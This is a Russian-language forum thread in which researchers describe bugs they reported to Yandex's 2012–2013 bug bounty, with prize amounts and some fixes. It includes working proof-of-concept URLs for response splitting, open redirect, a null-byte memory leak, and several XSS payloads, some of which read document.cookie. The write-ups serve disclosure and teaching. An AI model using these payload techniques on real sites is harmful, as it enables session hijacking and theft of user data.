|
|
|||
15.12.2012, 16:20
|
#2 | |
|
И так, для начала клиентская HTTP Parameters Pollution, которую не приняли (вроде бы единственная моя бага, которую отвергли) с причиной:
Цитата:
Тем самым возможно реализовать HPP/HPC атаку, добавив дополнительные параметры к ссылке. Так как скрипт отправки письма объединяет все параметры "to" через запятую, возможно добавление еще одного получателя письма незаметно для пользователя. Так же возможно переопределить начальное значение переменной "subj". Пример: Код:
http://mail.yandex.ru/m/abook?current_folder=x%26%20%20%20%20%20%26to=fake@mail.com Короткая версия http://bit.ly/UZnvrb  Выбираем пользователя:  Последний раз редактировалось BlackFan; 15.12.2012 в 16:44.. |
|
|
|
|
22.12.2012, 16:10
|
#3 |
|
|
Настало время ох*ительных историй
 (прошло более 90 дней с начала конкурса)Итак, конкурс начался 21 сентября, в пятницу, и, отложив все дела на понедельник, я вновь офигев от количества сервисов и объемов работы, начал беспорядочно пихать кавычки во все поля ввода. Просидев так примерно 1,5 часа и ничего не найдя, вдруг вспомнил про старые тикеты, посланные уже после окончания предыдущего конкурса "Месяц поиска уязвимостей Яндекса". В тикете от 9 января 2012 года было две HTTP Response Splitting на pass.yandex.ru и pass.moikrug.ru, из них неожиданно сработала вторая. HTTP Response Splitting Приз: 10к рублей Код:
http://pass.moikrug.ru/?retpath=http://yandex.ru%0d%0aSet-Cookie:test=test Обход ограничений перенаправления Приз: 5к рублей До перенаправления происходит некоторая проверка ссылки и нормальный заголовок "Location" добавляется только если это домен, принадлежащий яндексу. Скрипт проверял ссылку расчитывая на то, что в домене будут только символы A-Z, a-z, 0-9, -, но браузеры вполне нормально обрабатывают и символ _. Код:
http://passport.yandex.ru/passport?mode=logout&retpath=http://yandex.ru_.blackfan.ru/ http://pass.yandex.ru/logout?retpath=http://yandex.ru_.blackfan.ru/ http://pass.moikrug.ru/?retpath=http://yandex.ru_.blackfan.ru/ Чтение участков памяти Приз: 30к рублей Если в ссылке сразу за доменом шел нулл-байт, то происходила мутная муть и в ответе вываливался кусок памяти, который включал в себя как какие-то бинарные данные, так и вполне осмысленные логи и запросы пользователей включая все cookie. Было бы интересно почитать комментарии от разработчиков, почему так происходило Код:
GET /?retpath=http://yandex.ru%00aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa HTTP/1.1 Host: pass.moikrug.ru  Итого: 45к за первый день участия и все через один сервис и один параметр В сумме за все участие на данный момент 99к и еще 2 баги в запасе. Последний раз редактировалось BlackFan; 22.12.2012 в 19:33.. |
|
|
|
|
22.12.2012, 16:32
|
#4 |
|
|
|
|
|
|
|
25.12.2012, 21:55
|
#5 | ||
|
XSS, 5к
Видя в твиттере, как народ ломанулся искать уязвимости, я решил посмотреть туда, куда вряд ли кто-то заглядывал, чтобы из-за задержки в пару дней не столкнуться с тем, что уязвимость кем-то уже зарепорчена. Хотелось сразу найти баг и посмотреть, как быстро выплачивают и стоит ли искать. Опыта в багхантинге за деньги не было. Через час было найдено 2 бага, 1 из которых XSS. Цитата:
 Пофиксили так, 305-306 строки script.js: Код:
var path = encodeURIComponent(event.path); fixLinks(path); Старая версия PHP, 3к Тоже самое письмо от 24.09.2012 Цитата:
Последний раз редактировалось shr; 25.12.2012 в 22:27.. |
|||
|
|
|
|
30.12.2012, 20:16
|
#6 |
|
|
XSS
Приз: 10к рублей XSS на www.yandex.ru в строке поиска. Данные из GET переменной "text" попадают в javascript переменную "title", после чего вызывается следующий код: Код:
var title = "[user_input] — Яндекс: ничего не найдено"
el = document.createElement("i");
el.innerHTML = title;
document.title = el.firstChild.nodeValue;
Таким образом можно сформировать html теги в переменной title используя кодирование символов \xAA или \u00AA, которые в дальнейшем попадут в el.innerHTML и отработают. Эксплуатация: Код:
http://yandex.ru/yandsearch?text=\x3cimg+src=x+\x6f\x6eerror=alert(1)\x3e&lr=51 Ну и конечно без пафосной картинки тут никак не обойтись.  Последний раз редактировалось BlackFan; 30.12.2012 в 20:19.. |
|
|
|
|
09.02.2013, 22:22
|
#7 | |
|
Цитата:
патч: http://nginx.org/download/patch.2012.memory.txt триггерилась нуль-байтом в выдаче, т.е. природа та же, что и у response splitting'а, но с таким вот интересным эффектом. |
||
|
|
|
|
05.04.2013, 11:30
|
#8 |
|
|
DOM Based XSS
Приз: 10к рублей Довольно забавная DOM Based XSS, ее раскручивать было интереснее всего. На очень многих сайтах яндекса после ввода информации в строку поиска и нажатии кнопки "найти", происходит запрос на сценарий "http://clck.yandex.ru/jclck/". Данный запрос возвращает комментарий, который выполняется в контексте безопасности уязвимого сайта. Код:
/* counted */ Код:
http://clck.yandex.ru/jclck/dtype=stred/pid=0/cid=2873 /path=maps.not_used.p0.nah_not_shown./session=1352991374973 /region=/times=NaN.105/pos=4/text=test/user_input=test /ratio=4.4.2/since_first_change=753/since_last_change=725 /*data=url%3Dhttp%253A%252F%252Fmaps.yandex.ru%252F%253F Также, на данном сайте нашелся сценарий "http://clck.yandex.ru/redir/", который возвращает 302 код и может перенаправить наш запрос на произвольный сайт "*.yandex.ru". Таким образом, для выполнения JS кода нам остается только сформировать этот код на одном из сайтов яндекса. Для примера я взял сценарий "http://api-maps.yandex.ru/2.0.10/release/combine.xml?", в котором через переменную jsonp_prefix формируется payload и остальная ненужная часть контента комментируется. Код:
http://api-maps.yandex.ru/2.0.10/release/combine.xml?modules=test&jsonp_prefix=alert('xss')//&
Ответ:
alert('xss')//_test([]);
1) Вводим специально сформированную строку в поле ввода 2) При нажатии кнопки "Найти" происходит запрос к http://clck.yandex.ru/jclck/ 3) За счет символов "../" изменяем путь к скрипту и вызываем http://clck.yandex.ru/redir/ 4) Перенаправляем запрос на http://api-maps.yandex.ru/2.0.10/release/combine.xml, который возвращает наш payload Пример сформированной строки для эксплуатации: Код:
../../../../../../../../../../..
/redir/*http://api-maps.yandex.ru/2.0.10/release
/combine.xml?modules=test&jsonp_prefix=alert('xss')//&#
Вместо
http://clck.yandex.ru/jclck/
Произойдет вызов
http://clck.yandex.ru/redir/*http://api-maps.yandex.ru/2.0.10/release/combine.xml?modules=test&jsonp_prefix=alert('xss')//
 Также, многие сайты поддерживают возможность установить значение поля ввода через GET параметры. Таким образом, можно сместить наш payload пробелами и любое нажатие на кнопку "Найти" приведет к выполнению кода. Пример: Код:
http://maps.yandex.ru/?text=%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fredir%2F*http%3A%2F%2Fapi-maps.yandex.ru%2F2.0.10%2Frelease%2Fcombine.xml%3Fmodules%3Dtest%26jsonp_prefix%3Dalert('xss')%2F%2F&sll=50.18736599999995%2C53.21570399999772&sspn=0.322723%2C0.164658&z=12&results=20&ll=50.187366%2C53.215704&spn=0.322723%2C0.164658&l=map
maps.yandex.ru, pogoda.yandex.ru, people.yandex.ru, blogs.yandex.ru, news.yandex.ru, market.yandex.ru, rabota.yandex.ru Последний раз редактировалось BlackFan; 01.10.2013 в 09:02.. |
|
|
|
|
15.12.2013, 20:22
|
#9 |
|
|
YandexBugBounty
XSS [maps.yandex.ru] /resources/cameras/probki-player.swf (10k рублей) Параметры callback и player_id попадали в "flash.external.ExternalInterface.call" после прохождения функции validateParam использующей черный список Код:
internal function validateParam(arg1:String):String
{
var loc1:*=decodeURIComponent(arg1);
var loc2:*=loc1.match(new RegExp("<|>|;|\\(|\\)|\\{|\\}|\\#|\\%|\\@|\\/|\\:|\\|", "g"));
if (loc2 && loc2.length > 0)
{
return "";
}
return arg1;
}
Код:
http://maps.yandex.ru/resources/cameras/probki-player.swf?callback=eval&player_id=\141\154\145\162\164\050\144\157\143\165\155\145\156\164\056\143\157\157\153\151\145\051
Результат выполнения ExternalInterface.call:
try { __flash__toXML(eval("\141\154\145\162\164\050\144\157\143\165\155\145\156\164\056\143\157\157\153\151\145\051")); } catch (e) { "<undefined/>"; }
DOM-Based XSS [rabota.yandex.ru] (5k рублей) При поиске вакансий можно "Подписаться на уведомления о новых объявлениях". В форме подписки фраза "Вакансии по запросу «[user_search]»" отображалась некорректно, в поисковой строке заменялись только первые включения символов < > &. Код:
(function() {
function a(b) {
return b.replace("&", "&").replace(">", ">").replace("<", "<")
}
BEM.HTML.decl("b-subscribe-settings-text", {
onBlock: function(b) {
b.content([{
elem: "title",
content: a(b.param("title"))
},
a(b.param("body"))
])
}
})
})();
Код:
return b.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">") Код:
http://rabota.yandex.ru/search.xml/?text=%3C%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E XSS [yandex.ru] (20k рублей) Переменная site попадала в JavaScript без экранирования обратного слеша. Код:
http://yandex.ru/yandsearch?text=xxx&site=,alert(document.cookie)])//\&lr=51 Код:
Lego.oframebust([/^(\w*\.)*yandex.(ru|kz|by|ua|com)\.?$/, "*.,alert(document.cookie)])//\", ",alert(document.cookie)])//\", "*.yandex-team.ru", "compare.yandex.net", /^(\w*\.)*yandex\.com\.tr\.?$/]) Хранимая XSS [wdgt.yandex.ru] (10k рублей) После создания своего iframe-виджета title попадал в JavaScript без экранирования обратного слеша. Код:
widget = Widget.Bind("143283-1", {bla:"bla",title: "\\"});alert(document.domain);//",intid: "143283-1",intclassid: "143283"});window.ya && ya.widgets && ya.widgets.instances && ya.widgets.instances.add( widget );
Код:
http://wdgt.yandex.ru/widgets/<widget_id>/ Код:
Например: http://www.yandex.ru/?add=<widget_id>&from=promocode Яндекс.Директ XSS (31,337k рублей) Логика работы Яндекс.Директ: 1) Загрузка скрипта-лоадера http://an.yandex.ru/system/context.js 2) Загрузка нужной версии основного скрипта http://an.yandex.ru/resource/context_static_r633.js 3) Отправка запроса http://an.yandex.ru/page/<page_id>?target-ref=<referer>&charset=utf-8&grab=..&callback=Ya[1379305496812] Где target-ref - текущий location.href страницы, на которой установлена реклама от Яндекса 4) Ответ Код:
Ya[1379305496812]('{ common: ..., direct: { ads: ..., linkHow: ...,
linkAll: {title: "Все объявления",
url: "http://direct.yandex.ru/search?from=http://example.com/?x=\x22\x2balert(1)\x2b\x22&ref-page=108290" }, directTitle: ... }}')
5) Таким образом, при таком запросе http://example.com/?x=\x22\x2balert(1)\x2b\x22 страницы, на которой расположена реклама от Яндекса, по сути выполнялся следующий JavaScript в контексте этой страницы: Код:
s = Function(
'return
{common:
{linkAll:
{
title:"Все объявления",
url:"http://direct.yandex.ru/search?from=http://example.com/%3Fx="+alert(1)+"&ref-page=108290"
}
}
};
')();
Ну и как бонус, не хочу создавать новую тему: FoxyCart RCE http://www.foxycart.com/security-contact Без комментариев  Последний раз редактировалось BlackFan; 15.12.2013 в 20:31.. |
|
|
|
 |
| Опции темы | Поиск в этой теме |
| Опции просмотра | |
Линейный вид
|
|
Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2018, Jelsoft Enterprises Ltd. Перевод: zCarot
Copyright ©2000 - 2018, Jelsoft Enterprises Ltd. Перевод: zCarot